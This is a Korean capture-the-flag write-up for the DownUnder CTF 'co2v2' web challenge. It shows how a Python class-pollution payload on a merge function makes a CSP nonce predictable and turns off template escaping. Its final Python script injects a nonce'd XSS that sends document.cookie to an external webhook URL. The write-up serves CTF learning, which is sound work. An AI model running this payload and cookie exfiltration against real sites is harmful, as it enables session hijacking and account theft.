DUCTF | co2v2 write-up
Downunder CTF web
문제 분석
해당 문제는 기존 co2 Python Class Pollution의 다음 버전 문제로 예상된다.
기존 co2와의 차이를 소스코드를 통해서 확인해보겠습니다.
SECRET_NONCE = generate_random_string()
# Use a random amount of characters to append while generating nonce value to make it more secure
RANDOM_COUNT = random.randint(32,64)
def generate_nonce(data):
nonce = SECRET_NONCE + data + generate_random_string(length=RANDOM_COUNT)
sha256_hash = hashlib.sha256()
sha256_hash.update(nonce.encode('utf-8'))
hash_hex = sha256_hash.hexdigest()
g.nonce = hash_hex
return hash_hex
@app.before_request
def set_nonce():
generate_nonce(request.path)
@app.after_request
def apply_csp(response):
nonce = g.get('nonce')
csp_policy = (
f"default-src 'self'; "
f"script-src 'self' 'nonce-{nonce}' https://ajax.googleapis.com; "
f"style-src 'self' 'nonce-{nonce}' https://cdn.jsdelivr.net; "
f"script-src-attr 'self' 'nonce-{nonce}'; "
f"connect-src *; "
)
response.headers['Content-Security-Policy'] = csp_policy
return response
기존 FLAG를 추출해주는 End-point가 제거되며 script-src의 값을 nonce로 받는 것으로 보아 기존 문제에 XSS 기법을 활용한 문제일 것으로 예상할 수 있습니다.
해당 nonce 값은 입력 데이터와 랜덤 String, Count 변수 값을 더해져 랜덤한 값으로 받아지는 것을 볼 수 있습니다.
TEMPLATES_ESCAPE_ALL = True
TEMPLATES_ESCAPE_NONE = False
@app.route("/admin/update-accepted-templates", methods=["POST"])
@login_required
def update_template():
data = json.loads(request.data)
# Enforce strict policy to filter all expressions
if "policy" in data and data["policy"] == "strict":
template_env.env = Environment(loader=PackageLoader("app", "templates"), autoescape=TEMPLATES_ESCAPE_ALL)
# elif "policy" in data and data["policy"] == "lax":
# template_env.env = Environment(loader=PackageLoader("app", "templates"), autoescape=TEMPLATES_ESCAPE_NONE)
# TO DO: Add more configurations for allowing LateX, XML etc. to be configured in app
return jsonify({"success": "true"}), 200
또한 해당 URL로 JSON 형태의 데이터를 전송할 때 해당 데이터의 값이 {"policy" : "strict"} 일 경우 TEMPLATES_ESCAPE_ALL로 외부 도메인으로의 요청을 수행하지 않습니다.
@app.route("/save_feedback", methods=["POST"])
@login_required
def save_feedback():
data = json.loads(request.data)
feedback = Feedback()
# Because we want to dynamically grab the data and save it attributes we can merge it and it *should* create those attribs for the object.
merge(data, feedback)
save_feedback_to_disk(feedback)
return jsonify({"success": "true"}), 200
def merge(src, dst):
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)
/save_feedback을 통해 merge 과정이 이루어지는데 이 또한 Python Class Pollution 취약점이 발생하기에 변수에 대한 값이 수정이 가능하다.
따라서 페이로드의 순서는 다음과 같게 된다.
-
TEMPLATES_ESCAPE_ALL값 False로 수정 -
SECRET_NONCE값A와 같은 고정 값으로 수정 -
RANDOM_COUNT값0으로 고정 -
페이지 내에서 전송해주는
nonce값을 통해XSS
from requests import Session
from bs4 import BeautifulSoup
PAYLOAD = {"__class__":{"__init__":{"__globals__":{"SECRET_NONCE":"peoplstar", "RANDOM_COUNT": 0, "TEMPLATES_ESCAPE_ALL": False}}}}
USERNAME = "guest"
PASSWORD = "guest"
EXFIL = "https://webhook.site/5cbbd078-e5fd-4ca9-9fdc-a48030d6ec5f"
def parse_nonce(html):
soup = BeautifulSoup(html, 'html.parser')
nonce = soup.find('script')['nonce']
print(f'[+] nonce : {nonce}')
return nonce
def exploit(host):
s = Session()
s.post(host + '/register', data={'username': USERNAME, 'password': PASSWORD})
s.post(host + '/login', data={'username': USERNAME, 'password': PASSWORD})
s.post(host + '/save_feedback', json=PAYLOAD)
s.post(host + '/admin/update-accepted-templates', json={"policy":"strict"})
get_nonce = s.get(host)
nonce = parse_nonce(get_nonce.text)
# GitPage Liquid Exception: Liquid syntax error
s.post(host + '/create_post', data=f"{{'title':'<script nonce={nonce}>fetch(\"{EXFIL}?c=\"+document.cookie)</script>', 'content': '<script nonce={nonce}>fetch(\"{EXFIL}?c=\"+document.cookie)</script>', 'public': 1}}")
s.get(host + '/api/v1/report')
if __name__ == '__main__':
URL = 'https://web-co2v2-69f4cd699e8ccaba.2024.ductf.dev/'
exploit(URL)